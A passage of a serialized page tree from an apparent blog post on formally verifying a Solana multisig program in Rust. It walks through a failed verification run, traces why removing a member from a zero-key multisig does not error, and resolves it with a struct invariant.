"children":32263},{"style":241},[32264],{"type":29,"value":87},{"type":24,"tag":147,"props":32266,"children":32267},{"style":235},[32268],{"type":29,"value":29406},{"type":24,"tag":147,"props":32270,"children":32271},{"style":241},[32272],{"type":29,"value":87},{"type":24,"tag":147,"props":32274,"children":32275},{"style":235},[32276],{"type":29,"value":26585},{"type":24,"tag":147,"props":32278,"children":32279},{"style":241},[32280],{"type":29,"value":87},{"type":24,"tag":147,"props":32282,"children":32283},{"style":235},[32284],{"type":29,"value":26623},{"type":24,"tag":147,"props":32286,"children":32287},{"style":241},[32288],{"type":29,"value":25019},{"type":24,"tag":147,"props":32290,"children":32291},{"style":235},[32292],{"type":29,"value":25047},{"type":24,"tag":147,"props":32294,"children":32295},{"class":149,"line":196},[32296],{"type":24,"tag":147,"props":32297,"children":32298},{"style":235},[32299],{"type":29,"value":25862},{"type":24,"tag":147,"props":32301,"children":32302},{"class":149,"line":205},[32303,32307,32311,32315,32319,32323,32327],{"type":24,"tag":147,"props":32304,"children":32305},{"style":218},[32306],{"type":29,"value":25870},{"type":24,"tag":147,"props":32308,"children":32309},{"style":229},[32310],{"type":29,"value":31366},{"type":24,"tag":147,"props":32312,"children":32313},{"style":235},[32314],{"type":29,"value":480},{"type":24,"tag":147,"props":32316,"children":32317},{"style":241},[32318],{"type":29,"value":15212},{"type":24,"tag":147,"props":32320,"children":32321},{"style":235},[32322],{"type":29,"value":29589},{"type":24,"tag":147,"props":32324,"children":32325},{"style":241},[32326],{"type":29,"value":15212},{"type":24,"tag":147,"props":32328,"children":32329},{"style":235},[32330],{"type":29,"value":15217},{"type":24,"tag":25,"props":32332,"children":32333},{},[32334,32336,32341],{"type":29,"value":32335},"Let's test this, we just need to run the new ",{"type":24,"tag":80,"props":32337,"children":32339},{"className":32338},[],[32340],{"type":29,"value":25765},{"type":29,"value":32342}," harness:",{"type":24,"tag":137,"props":32344,"children":32346},{"code":32345},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[32347],{"type":24,"tag":80,"props":32348,"children":32349},{"__ignoreMap":7},[32350],{"type":29,"value":32345},{"type":24,"tag":25,"props":32352,"children":32353},{},[32354],{"type":29,"value":32355},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":137,"props":32357,"children":32359},{"code":32358,"language":8613,"meta":7,"className":8614,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[32360],{"type":24,"tag":80,"props":32361,"children":32362},{"__ignoreMap":7},[32363,32374,32393,32412,32431,32450,32469,32488,32507,32526,32545,32565,32584,32591,32598,32625],{"type":24,"tag":147,"props":32364,"children":32365},{"class":149,"line":150},[32366,32370],{"type":24,"tag":147,"props":32367,"children":32368},{"style":9044},[32369],{"type":29,"value":22751},{"type":24,"tag":147,"props":32371,"children":32372},{"style":235},[32373],{"type":29,"value":6630},{"type":24,"tag":147,"props":32375,"children":32376},{"class":149,"line":160},[32377,32381,32385,32389],{"type":24,"tag":147,"props":32378,"children":32379},{"style":247},[32380],{"type":29,"value":30772},{"type":24,"tag":147,"props":32382,"children":32383},{"style":241},[32384],{"type":29,"value":978},{"type":24,"tag":147,"props":32386,"children":32387},{"style":9044},[32388],{"type":29,"value":26758},{"type":24,"tag":147,"props":32390,"children":32391},{"style":235},[32392],{"type":29,"value":6630},{"type":24,"tag":147,"props":32394,"children":32395},{"class":149,"line":169},[32396,32400,32404,32408],{"type":24,"tag":147,"props":32397,"children":32398},{"style":247},[32399],{"type":29,"value":29427},{"type":24,"tag":147,"props":32401,"children":32402},{"style":241},[32403],{"type":29,"value":978},{"type":24,"tag":147,"props":32405,"children":32406},{"style":705},[32407],{"type":29,"value":708},{"type":24,"tag":147,"props":32409,"children":32410},{"style":235},[32411],{"type":29,"value":1549},{"type":24,"tag":147,"props":32413,"children":32414},{"class":149,"line":178},[32415,32419,32423,32427],{"type":24,"tag":147,"props":32416,"children":32417},{"style":247},[32418],{"type":29,"value":30812},{"type":24,"tag":147,"props":32420,"children":32421},{"style":241},[32422],{"type":29,"value":978},{"type":24,"tag":147,"props":32424,"children":32425},{"style":705},[32426],{"type":29,"value":708},{"type":24,"tag":147,"props":32428,"children":32429},{"style":235},[32430],{"type":29,"value":1549},{"type":24,"tag":147,"props":32432,"children":32433},{"class":149,"line":187},[32434,32438,32442,32446],{"type":24,"tag":147,"props":32435,"children":32436},{"style":247},[32437],{"type":29,"value":30832},{"type":24,"tag":147,"props":32439,"children":32440},{"style":241},[32441],{"type":29,"value":978},{"type":24,"tag":147,"props":32443,"children":32444},{"style":705},[32445],{"type":29,"value":708},{"type":24,"tag":147,"props":32447,"children":32448},{"style":235},[32449],{"type":29,"value":1549},{"type":24,"tag":147,"props":32451,"children":32452},{"class":149,"line":196},[32453,32457,32461,32465],{"type":24,"tag":147,"props":32454,"children":32455},{"style":247},[32456],{"type":29,"value":30852},{"type":24,"tag":147,"props":32458,"children":32459},{"style":241},[32460],{"type":29,"value":978},{"type":24,"tag":147,"props":32462,"children":32463},{"style":705},[32464],{"type":29,"value":708},{"type":24,"tag":147,"props":32466,"children":32467},{"style":235},[32468],{"type":29,"value":1549},{"type":24,"tag":147,"props":32470,"children":32471},{"class":149,"line":205},[32472,32476,32480,32484],{"type":24,"tag":147,"props":32473,"children":32474},{"style":247},[32475],{"type":29,"value":30872},{"type":24,"tag":147,"props":32477,"children":32478},{"style":241},[32479],{"type":29,"value":978},{"type":24,"tag":147,"props":32481,"children":32482},{"style":705},[32483],{"type":29,"value":708},{"type":24,"tag":147,"props":32485,"children":32486},{"style":235},[32487],{"type":29,"value":1549},{"type":24,"tag":147,"props":32489,"children":32490},{"class":149,"line":214},[32491,32495,32499,32503],{"type":24,"tag":147,"props":32492,"children":32493},{"style":247},[32494],{"type":29,"value":29440},{"type":24,"tag":147,"props":32496,"children":32497},{"style":241},[32498],{"type":29,"value":978},{"type":24,"tag":147,"props":32500,"children":32501},{"style":241},[32502],{"type":29,"value":30900},{"type":24,"tag":147,"props":32504,"children":32505},{"style":235},[32506],{"type":29,"value":1549},{"type":24,"tag":147,"props":32508,"children":32509},{"class":149,"line":272},[32510,32514,32518,32522],{"type":24,"tag":147,"props":32511,"children":32512},{"style":247},[32513],{"type":29,"value":30912},{"type":24,"tag":147,"props":32515,"children":32516},{"style":241},[32517],{"type":29,"value":978},{"type":24,"tag":147,"props":32519,"children":32520},{"style":218},[32521],{"type":29,"value":14682},{"type":24,"tag":147,"props":32523,"children":32524},{"style":235},[32525],{"type":29,"value":1549},{"type":24,"tag":147,"props":32527,"children":32528},{"class":149,"line":281},[32529,32533,32537,32541],{"type":24,"tag":147,"props":32530,"children":32531},{"style":247},[32532],{"type":29,"value":30932},{"type":24,"tag":147,"props":32534,"children":32535},{"style":241},[32536],{"type":29,"value":978},{"type":24,"tag":147,"props":32538,"children":32539},{"style":9044},[32540],{"type":29,"value":26991},{"type":24,"tag":147,"props":32542,"children":32543},{"style":235},[32544],{"type":29,"value":6630},{"type":24,"tag":147,"props":32546,"children":32547},{"class":149,"line":299},[32548,32553,32557,32561],{"type":24,"tag":147,"props":32549,"children":32550},{"style":247},[32551],{"type":29,"value":32552},"            data",{"type":24,"tag":147,"props":32554,"children":32555},{"style":241},[32556],{"type":29,"value":978},{"type":24,"tag":147,"props":32558,"children":32559},{"style":241},[32560],{"type":29,"value":30900},{"type":24,"tag":147,"props":32562,"children":32563},{"style":235},[32564],{"type":29,"value":1549},{"type":24,"tag":147,"props":32566,"children":32567},{"class":149,"line":308},[32568,32572,32576,32580],{"type":24,"tag":147,"props":32569,"children":32570},{"style":247},[32571],{"type":29,"value":30953},{"type":24,"tag":147,"props":32573,"children":32574},{"style":241},[32575],{"type":29,"value":978},{"type":24,"tag":147,"props":32577,"children":32578},{"style":705},[32579],{"type":29,"value":708},{"type":24,"tag":147,"props":32581,"children":32582},{"style":235},[32583],{"type":29,"value":1549},{"type":24,"tag":147,"props":32585,"children":32586},{"class":149,"line":317},[32587],{"type":24,"tag":147,"props":32588,"children":32589},{"style":235},[32590],{"type":29,"value":30974},{"type":24,"tag":147,"props":32592,"children":32593},{"class":149,"line":332},[32594],{"type":24,"tag":147,"props":32595,"children":32596},{"style":235},[32597],{"type":29,"value":30982},{"type":24,"tag":147,"props":32599,"children":32600},{"class":149,"line":350},[32601,32605,32609,32613,32617,32621],{"type":24,"tag":147,"props":32602,"children":32603},{"style":247},[32604],{"type":29,"value":30990},{"type":24,"tag":147,"props":32606,"children":32607},{"style":241},[32608],{"type":29,"value":978},{"type":24,"tag":147,"props":32610,"children":32611},{"style":9044},[32612],{"type":29,"value":30999},{"type":24,"tag":147,"props":32614,"children":32615},{"style":235},[32616],{"type":29,"value":15207},{"type":24,"tag":147,"props":32618,"children":32619},{"style":241},[32620],{"type":29,"value":15212},{"type":24,"tag":147,"props":32622,"children":32623},{"style":235},[32624],{"type":29,"value":31012},{"type":24,"tag":147,"props":32626,"children":32627},{"class":149,"line":358},[32628],{"type":24,"tag":147,"props":32629,"children":32630},{"style":235},[32631],{"type":29,"value":827},{"type":24,"tag":25,"props":32633,"children":32634},{},[32635],{"type":29,"value":32636},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":25,"props":32638,"children":32639},{},[32640,32642,32648],{"type":29,"value":32641},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":80,"props":32643,"children":32645},{"className":32644},[],[32646],{"type":29,"value":32647},"Ms::remove_member",{"type":29,"value":978},{"type":24,"tag":137,"props":32650,"children":32652},{"code":32651,"language":8613,"meta":7,"className":8614,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[32653],{"type":24,"tag":80,"props":32654,"children":32655},{"__ignoreMap":7},[32656,32715,32746,32753],{"type":24,"tag":147,"props":32657,"children":32658},{"class":149,"line":150},[32659,32663,32667,32671,32675,32679,32683,32687,32691,32695,32699,32703,32707,32711],{"type":24,"tag":147,"props":32660,"children":32661},{"style":321},[32662],{"type":29,"value":21191},{"type":24,"tag":147,"props":32664,"children":32665},{"style":247},[32666],{"type":29,"value":31444},{"type":24,"tag":147,"props":32668,"children":32669},{"style":241},[32670],{"type":29,"value":87},{"type":24,"tag":147,"props":32672,"children":32673},{"style":235},[32674],{"type":29,"value":20289},{"type":24,"tag":147,"props":32676,"children":32677},{"style":241},[32678],{"type":29,"value":87},{"type":24,"tag":147,"props":32680,"children":32681},{"style":235},[32682],{"type":29,"value":29406},{"type":24,"tag":147,"props":32684,"children":32685},{"style":241},[32686],{"type":29,"value":87},{"type":24,"tag":147,"props":32688,"children":32689},{"style":235},[32690],{"type":29,"value":26585},{"type":24,"tag":147,"props":32692,"children":32693},{"style":241},[32694],{"type":29,"value":87},{"type":24,"tag":147,"props":32696,"children":32697},{"style":229},[32698],{"type":29,"value":6227},{"type":24,"tag":147,"props":32700,"children":32701},{"style":235},[32702],{"type":29,"value":19658},{"type":24,"tag":147,"props":32704,"children":32705},{"style":241},[32706],{"type":29,"value":6600},{"type":24,"tag":147,"props":32708,"children":32709},{"style":705},[32710],{"type":29,"value":10147},{"type":24,"tag":147,"props":32712,"children":32713},{"style":235},[32714],{"type":29,"value":6630},{"type":24,"tag":147,"props":32716,"children":32717},{"class":149,"line":160},[32718,32722,32726,32730,32734,32738,32742],{"type":24,"tag":147,"props":32719,"children":32720},{"style":321},[32721],{"type":29,"value":2597},{"type":24,"tag":147,"props":32723,"children":32724},{"style":229},[32725],{"type":29,"value":29120},{"type":24,"tag":147,"props":32727,"children":32728},{"style":235},[32729],{"type":29,"value":480},{"type":24,"tag":147,"props":32731,"children":32732},{"style":9044},[32733],{"type":29,"value":29129},{"type":24,"tag":147,"props":32735,"children":32736},{"style":241},[32737],{"type":29,"value":9106},{"type":24,"tag":147,"props":32739,"children":32740},{"style":9044},[32741],{"type":29,"value":31520},{"type":24,"tag":147,"props":32743,"children":32744},{"style":235},[32745],{"type":29,"value":1473},{"type":24,"tag":147,"props":32747,"children":32748},{"class":149,"line":169},[32749],{"type":24,"tag":147,"props":32750,"children":32751},{"style":235},[32752],{"type":29,"value":827},{"type":24,"tag":147,"props":32754,"children":32755},{"class":149,"line":178},[32756,32760,32764,32768,32772,32776,32780,32784,32788,32792,32796,32800],{"type":24,"tag":147,"props":32757,"children":32758},{"style":247},[32759],{"type":29,"value":25884},{"type":24,"tag":147,"props":32761,"children":32762},{"style":241},[32763],{"type":29,"value":87},{"type":24,"tag":147,"props":32765,"children":32766},{"style":235},[32767],{"type":29,"value":20289},{"type":24,"tag":147,"props":32769,"children":32770},{"style":241},[32771],{"type":29,"value":87},{"type":24,"tag":147,"props":32773,"children":32774},{"style":235},[32775],{"type":29,"value":29406},{"type":24,"tag":147,"props":32777,"children":32778},{"style":241},[32779],{"type":29,"value":87},{"type":24,"tag":147,"props":32781,"children":32782},{"style":229},[32783],{"type":29,"value":31067},{"type":24,"tag":147,"props":32785,"children":32786},{"style":235},[32787],{"type":29,"value":480},{"type":24,"tag":147,"props":32789,"children":32790},{"style":247},[32791],{"type":29,"value":31400},{"type":24,"tag":147,"props":32793,"children":32794},{"style":235},[32795],{"type":29,"value":8758},{"type":24,"tag":147,"props":32797,"children":32798},{"style":241},[32799],{"type":29,"value":8785},{"type":24,"tag":147,"props":32801,"children":32802},{"style":235},[32803],{"type":29,"value":432},{"type":24,"tag":25,"props":32805,"children":32806},{},[32807,32809,32815,32817,32823],{"type":29,"value":32808},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":80,"props":32810,"children":32812},{"className":32811},[],[32813],{"type":29,"value":32814},"Ms::is_member",{"type":29,"value":32816},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":80,"props":32818,"children":32820},{"className":32819},[],[32821],{"type":29,"value":32822},"Ok(())",{"type":29,"value":87},{"type":24,"tag":137,"props":32825,"children":32827},{"code":32826,"language":8613,"meta":7,"className":8614,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[32828],{"type":24,"tag":80,"props":32829,"children":32830},{"__ignoreMap":7},[32831,32895,32954,32991,33050,33118,33125,33132,33143],{"type":24,"tag":147,"props":32832,"children":32833},{"class":149,"line":150},[32834,32838,32842,32846,32850,32854,32858,32862,32866,32871,32875,32879,32883,32887,32891],{"type":24,"tag":147,"props":32835,"children":32836},{"style":218},[32837],{"type":29,"value":19307},{"type":24,"tag":147,"props":32839,"children":32840},{"style":218},[32841],{"type":29,"value":19312},{"type":24,"tag":147,"props":32843,"children":32844},{"style":229},[32845],{"type":29,"value":31366},{"type":24,"tag":147,"props":32847,"children":32848},{"style":235},[32849],{"type":29,"value":480},{"type":24,"tag":147,"props":32851,"children":32852},{"style":241},[32853],{"type":29,"value":485},{"type":24,"tag":147,"props":32855,"children":32856},{"style":218},[32857],{"type":29,"value":9348},{"type":24,"tag":147,"props":32859,"children":32860},{"style":218},[32861],{"type":29,"value":19413},{"type":24,"tag":147,"props":32863,"children":32864},{"style":235},[32865],{"type":29,"value":546},{"type":24,"tag":147,"props":32867,"children":32868},{"style":247},[32869],{"type":29,"value":32870},"member",{"type":24,"tag":147,"props":32872,"children":32873},{"style":241},[32874],{"type":29,"value":978},{"type":24,"tag":147,"props":32876,"children":32877},{"style":9044},[32878],{"type":29,"value":26459},{"type":24,"tag":147,"props":32880,"children":32881},{"style":235},[32882],{"type":29,"value":564},{"type":24,"tag":147,"props":32884,"children":32885},{"style":241},[32886],{"type":29,"value":495},{"type":24,"tag":147,"props":32888,"children":32889},{"style":9044},[32890],{"type":29,"value":19378},{"type":24,"tag":147,"props":32892,"children":32893},{"style":235},[32894],{"type":29,"value":25935},{"type":24,"tag":147,"props":32896,"children":32897},{"class":149,"line":160},[32898,32902,32907,32912,32916,32921,32925,32929,32933,32937,32942,32946,32950],{"type":24,"tag":147,"props":32899,"children":32900},{"style":321},[32901],{"type":29,"value":4759},{"type":24,"tag":147,"props":32903,"children":32904},{"style":218},[32905],{"type":29,"value":32906}," let",{"type":24,"tag":147,"props":32908,"children":32909},{"style":9044},[32910],{"type":29,"value":32911}," Some",{"type":24,"tag":147,"props":32913,"children":32914},{"style":235},[32915],{"type":29,"value":480},{"type":24,"tag":147,"props":32917,"children":32918},{"style":247},[32919],{"type":29,"value":32920},"ind",{"type":24,"tag":147,"props":32922,"children":32923},{"style":235},[32924],{"type":29,"value":564},{"type":24,"tag":147,"props":32926,"children":32927},{"style":241},[32928],{"type":29,"value":369},{"type":24,"tag":147,"props":32930,"children":32931},{"style":218},[32932],{"type":29,"value":19413},{"type":24,"tag":147,"props":32934,"children":32935},{"style":241},[32936],{"type":29,"value":87},{"type":24,"tag":147,"props":32938,"children":32939},{"style":229},[32940],{"type":29,"value":32941},"is_member",{"type":24,"tag":147,"props":32943,"children":32944},{"style":235},[32945],{"type":29,"value":480},{"type":24,"tag":147,"props":32947,"children":32948},{"style":247},[32949],{"type":29,"value":32870},{"type":24,"tag":147,"props":32951,"children":32952},{"style":235},[32953],{"type":29,"value":505},{"type":24,"tag":147,"props":32955,"children":32956},{"class":149,"line":169},[32957,32962,32966,32970,32974,32979,32983,32987],{"type":24,"tag":147,"props":32958,"children":32959},{"style":218},[32960],{"type":29,"value":32961},"        self",{"type":24,"tag":147,"props":32963,"children":32964},{"style":241},[32965],{"type":29,"value":87},{"type":24,"tag":147,"props":32967,"children":32968},{"style":235},[32969],{"type":29,"value":26585},{"type":24,"tag":147,"props":32971,"children":32972},{"style":241},[32973],{"type":29,"value":87},{"type":24,"tag":147,"props":32975,"children":32976},{"style":229},[32977],{"type":29,"value":32978},"remove",{"type":24,"tag":147,"props":32980,"children":32981},{"style":235},[32982],{"type":29,"value":480},{"type":24,"tag":147,"props":32984,"children":32985},{"style":247},[32986],{"type":29,"value":32920},{"type":24,"tag":147,"props":32988,"children":32989},{"style":235},[32990],{"type":29,"value":1473},{"type":24,"tag":147,"props":32992,"children":32993},{"class":149,"line":178},[32994,32998,33002,33006,33010,33014,33018,33022,33026,33030,33034,33038,33042,33046],{"type":24,"tag":147,"props":32995,"children":32996},{"style":321},[32997],{"type":29,"value":403},{"type":24,"tag":147,"props":32999,"children":33000},{"style":218},[33001],{"type":29,"value":19413},{"type":24,"tag":147,"props":33003,"children":33004},{"style":241},[33005],{"type":29,"value":87},{"type":24,"tag":147,"props":33007,"children":33008},{"style":235},[33009],{"type":29,"value":26585},{"type":24,"tag":147,"props":33011,"children":33012},{"style":241},[33013],{"type":29,"value":87},{"type":24,"tag":147,"props":33015,"children":33016},{"style":229},[33017],{"type":29,"value":6227},{"type":24,"tag":147,"props":33019,"children":33020},{"style":235},[33021],{"type":29,"value":31645},{"type":24,"tag":147,"props":33023,"children":33024},{"style":9044},[33025],{"type":29,"value":22207},{"type":24,"tag":147,"props":33027,"children":33028},{"style":241},[33029],{"type":29,"value":9106},{"type":24,"tag":147,"props":33031,"children":33032},{"style":229},[33033],{"type":29,"value":25078},{"type":24,"tag":147,"props":33035,"children":33036},{"style":235},[33037],{"type":29,"value":480},{"type":24,"tag":147,"props":33039,"children":33040},{"style":218},[33041],{"type":29,"value":19330},{"type":24,"tag":147,"props":33043,"children":33044},{"style":241},[33045],{"type":29,"value":87},{"type":24,"tag":147,"props":33047,"children":33048},{"style":235},[33049],{"type":29,"value":31690},{"type":24,"tag":147,"props":33051,"children":33052},{"class":149,"line":187},[33053,33058,33062,33066,33070,33074,33078,33082,33086,33090,33094,33098,33102,33106,33110,33114],{"type":24,"tag":147,"props":33054,"children":33055},{"style":218},[33056],{"type":29,"value":33057},"            self",{"type":24,"tag":147,"props":33059,"children":33060},{"style":241},[33061],{"type":29,"value":87},{"type":24,"tag":147,"props":33063,"children":33064},{"style":235},[33065],{"type":29,"value":26673},{"type":24,"tag":147,"props":33067,"children":33068},{"style":241},[33069],{"type":29,"value":369},{"type":24,"tag":147,"props":33071,"children":33072},{"style":218},[33073],{"type":29,"value":19413},{"type":24,"tag":147,"props":33075,"children":33076},{"style":241},[33077],{"type":29,"value":87},{"type":24,"tag":147,"props":33079,"children":33080},{"style":235},[33081],{"type":29,"value":26585},{"type":24,"tag":147,"props":33083,"children":33084},{"style":241},[33085],{"type":29,"value":87},{"type":24,"tag":147,"props":33087,"children":33088},{"style":229},[33089],{"type":29,"value":6227},{"type":24,"tag":147,"props":33091,"children":33092},{"style":235},[33093],{"type":29,"value":19495},{"type":24,"tag":147,"props":33095,"children":33096},{"style":241},[33097],{"type":29,"value":87},{"type":24,"tag":147,"props":33099,"children":33100},{"style":229},[33101],{"type":29,"value":31763},{"type":24,"tag":147,"props":33103,"children":33104},{"style":235},[33105],{"type":29,"value":19495},{"type":24,"tag":147,"props":33107,"children":33108},{"style":241},[33109],{"type":29,"value":87},{"type":24,"tag":147,"props":33111,"children":33112},{"style":229},[33113],{"type":29,"value":9290},{"type":24,"tag":147,"props":33115,"children":33116},{"style":235},[33117],{"type":29,"value":9295},{"type":24,"tag":147,"props":33119,"children":33120},{"class":149,"line":196},[33121],{"type":24,"tag":147,"props":33122,"children":33123},{"style":235},[33124],{"type":29,"value":441},{"type":24,"tag":147,"props":33126,"children":33127},{"class":149,"line":205},[33128],{"type":24,"tag":147,"props":33129,"children":33130},{"style":235},[33131],{"type":29,"value":1952},{"type":24,"tag":147,"props":33133,"children":33134},{"class":149,"line":214},[33135,33139],{"type":24,"tag":147,"props":33136,"children":33137},{"style":9044},[33138],{"type":29,"value":19947},{"type":24,"tag":147,"props":33140,"children":33141},{"style":235},[33142],{"type":29,"value":19952},{"type":24,"tag":147,"props":33144,"children":33145},{"class":149,"line":272},[33146],{"type":24,"tag":147,"props":33147,"children":33148},{"style":235},[33149],{"type":29,"value":827},{"type":24,"tag":25,"props":33151,"children":33152},{},[33153,33155,33160,33162,33168,33170,33176,33178,33183],{"type":29,"value":33154},"Inside ",{"type":24,"tag":80,"props":33156,"children":33158},{"className":33157},[],[33159],{"type":29,"value":32814},{"type":29,"value":33161},", we see that it performs a ",{"type":24,"tag":80,"props":33163,"children":33165},{"className":33164},[],[33166],{"type":29,"value":33167},"binary_search",{"type":29,"value":33169}," on the keys vec and returns the index or ",{"type":24,"tag":80,"props":33171,"children":33173},{"className":33172},[],[33174],{"type":29,"value":33175},"None",{"type":29,"value":33177},". Since the vec has size zero, this will just return ",{"type":24,"tag":80,"props":33179,"children":33181},{"className":33180},[],[33182],{"type":29,"value":33175},{"type":29,"value":87},{"type":24,"tag":137,"props":33185,"children":33187},{"code":33186,"language":8613,"meta":7,"className":8614,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[33188],{"type":24,"tag":80,"props":33189,"children":33190},{"__ignoreMap":7},[33191,33260,33303,33342,33364,33371],{"type":24,"tag":147,"props":33192,"children":33193},{"class":149,"line":150},[33194,33198,33202,33207,33211,33215,33219,33223,33227,33231,33235,33239,33243,33248,33252,33256],{"type":24,"tag":147,"props":33195,"children":33196},{"style":218},[33197],{"type":29,"value":19307},{"type":24,"tag":147,"props":33199,"children":33200},{"style":218},[33201],{"type":29,"value":19312},{"type":24,"tag":147,"props":33203,"children":33204},{"style":229},[33205],{"type":29,"value":33206}," is_member",{"type":24,"tag":147,"props":33208,"children":33209},{"style":235},[33210],{"type":29,"value":480},{"type":24,"tag":147,"props":33212,"children":33213},{"style":241},[33214],{"type":29,"value":485},{"type":24,"tag":147,"props":33216,"children":33217},{"style":218},[33218],{"type":29,"value":19330},{"type":24,"tag":147,"props":33220,"children":33221},{"style":235},[33222],{"type":29,"value":546},{"type":24,"tag":147,"props":33224,"children":33225},{"style":247},[33226],{"type":29,"value":32870},{"type":24,"tag":147,"props":33228,"children":33229},{"style":241},[33230],{"type":29,"value":978},{"type":24,"tag":147,"props":33232,"children":33233},{"style":9044},[33234],{"type":29,"value":26459},{"type":24,"tag":147,"props":33236,"children":33237},{"style":235},[33238],{"type":29,"value":564},{"type":24,"tag":147,"props":33240,"children":33241},{"style":241},[33242],{"type":29,"value":495},{"type":24,"tag":147,"props":33244,"children":33245},{"style":9044},[33246],{"type":29,"value":33247}," Option",{"type":24,"tag":147,"props":33249,"children":33250},{"style":235},[33251],{"type":29,"value":3583},{"type":24,"tag":147,"props":33253,"children":33254},{"style":9044},[33255],{"type":29,"value":22207},{"type":24,"tag":147,"props":33257,"children":33258},{"style":235},[33259],{"type":29,"value":12907},{"type":24,"tag":147,"props":33261,"children":33262},{"class":149,"line":160},[33263,33267,33271,33275,33279,33283,33287,33291,33295,33299],{"type":24,"tag":147,"props":33264,"children":33265},{"style":321},[33266],{"type":29,"value":20367},{"type":24,"tag":147,"props":33268,"children":33269},{"style":218},[33270],{"type":29,"value":19413},{"type":24,"tag":147,"props":33272,"children":33273},{"style":241},[33274],{"type":29,"value":87},{"type":24,"tag":147,"props":33276,"children":33277},{"style":235},[33278],{"type":29,"value":26585},{"type":24,"tag":147,"props":33280,"children":33281},{"style":241},[33282],{"type":29,"value":87},{"type":24,"tag":147,"props":33284,"children":33285},{"style":229},[33286],{"type":29,"value":33167},{"type":24,"tag":147,"props":33288,"children":33289},{"style":235},[33290],{"type":29,"value":480},{"type":24,"tag":147,"props":33292,"children":33293},{"style":241},[33294],{"type":29,"value":485},{"type":24,"tag":147,"props":33296,"children":33297},{"style":247},[33298],{"type":29,"value":32870},{"type":24,"tag":147,"props":33300,"children":33301},{"style":235},[33302],{"type":29,"value":505},{"type":24,"tag":147,"props":33304,"children":33305},{"class":149,"line":169},[33306,33310,33314,33318,33322,33326,33330,33334,33338],{"type":24,"tag":147,"props":33307,"children":33308},{"style":9044},[33309],{"type":29,"value":20425},{"type":24,"tag":147,"props":33311,"children":33312},{"style":235},[33313],{"type":29,"value":480},{"type":24,"tag":147,"props":33315,"children":33316},{"style":247},[33317],{"type":29,"value":32920},{"type":24,"tag":147,"props":33319,"children":33320},{"style":235},[33321],{"type":29,"value":564},{"type":24,"tag":147,"props":33323,"children":33324},{"style":241},[33325],{"type":29,"value":20435},{"type":24,"tag":147,"props":33327,"children":33328},{"style":9044},[33329],{"type":29,"value":32911},{"type":24,"tag":147,"props":33331,"children":33332},{"style":235},[33333],{"type":29,"value":480},{"type":24,"tag":147,"props":33335,"children":33336},{"style":247},[33337],{"type":29,"value":32920},{"type":24,"tag":147,"props":33339,"children":33340},{"style":235},[33341],{"type":29,"value":12362},{"type":24,"tag":147,"props":33343,"children":33344},{"class":149,"line":178},[33345,33350,33355,33360],{"type":24,"tag":147,"props":33346,"children":33347},{"style":247},[33348],{"type":29,"value":33349},"        _",{"type":24,"tag":147,"props":33351,"children":33352},{"style":241},[33353],{"type":29,"value":33354}," =>",{"type":24,"tag":147,"props":33356,"children":33357},{"style":9044},[33358],{"type":29,"value":33359}," None",{"type":24,"tag":147,"props":33361,"children":33362},{"style":235},[33363],{"type":29,"value":1549},{"type":24,"tag":147,"props":33365,"children":33366},{"class":149,"line":187},[33367],{"type":24,"tag":147,"props":33368,"children":33369},{"style":235},[33370],{"type":29,"value":1952},{"type":24,"tag":147,"props":33372,"children":33373},{"class":149,"line":196},[33374],{"type":24,"tag":147,"props":33375,"children":33376},{"style":235},[33377],{"type":29,"value":827},{"type":24,"tag":25,"props":33379,"children":33380},{},[33381,33383,33388,33390,33395,33397,33402,33404,33409],{"type":29,"value":33382},"So interestingly, a ",{"type":24,"tag":80,"props":33384,"children":33386},{"className":33385},[],[33387],{"type":29,"value":26585},{"type":29,"value":33389}," vec of size 0 ",{"type":24,"tag":8545,"props":33391,"children":33392},{},[33393],{"type":29,"value":33394},"is actually",{"type":29,"value":33396}," a sufficient condition to execute ",{"type":24,"tag":80,"props":33398,"children":33400},{"className":33399},[],[33401],{"type":29,"value":31067},{"type":29,"value":33403},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":8545,"props":33405,"children":33406},{},[33407],{"type":29,"value":33408},"valid",{"type":29,"value":33410}," multisig, the number of keys should never be zero.",{"type":24,"tag":25,"props":33412,"children":33413},{},[33414,33416,33421],{"type":29,"value":33415},"We can represent this ",{"type":24,"tag":8545,"props":33417,"children":33418},{},[33419],{"type":29,"value":33420},"validity",{"type":29,"value":33422}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":137,"props":33424,"children":33426},{"code":33425,"language":8613,"meta":7,"className":8614,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... 